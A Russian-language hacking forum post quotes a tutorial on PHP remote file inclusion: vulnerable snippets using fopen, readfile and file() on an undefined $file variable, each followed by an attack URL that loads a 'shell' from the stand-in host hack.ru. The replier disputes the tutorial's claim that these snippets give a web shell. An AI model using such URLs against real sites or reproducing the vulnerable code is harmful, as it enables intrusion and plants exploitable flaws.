Показать сообщение отдельно

  #19  
Старый 17.02.2009, 16:41
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
С нами: 9296966

Репутация: 585
По умолчанию

Цитата:
Сообщение от _Pantera_  
Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что и есть по умолчанию.

PHP код:
<?php
    $f
=fopen("$file.php","r");
    
    while (!
feof($f))
    {
        
$s=fgets($f,255);
        echo 
$s;
    }
    
    
fclose($f);
?>
Из-за того что переменная $file не была определена ранее, злоумышленник может произвести атаку:

Код:
http://site.ru/index.php?file=http://hack.ru/shell
В итоге опять получаем веб-шелл.



Следующий пример - использование функции readfile()

PHP код:
<?php
    readfile
($file); 
?>
Функция readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран.
В итоге опять получаем веб-шелл:

Код:
http://site.ru/index.php?file=http://hack.ru/shell

Теперь рассмотрим такой вариант:

PHP код:
<?php  
    
echo implode(""file($file));
?>
С помощью функции implode() мы объединяем элементы массива в строку, а с помощью функции file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл:
Код:
http://site.ru/index.php?file=http://hack.ru/shell.php
Эээ, а где тут "мы имеем веб-шелл"? Без eval'a заместо echo тут нигде не получишь шелла...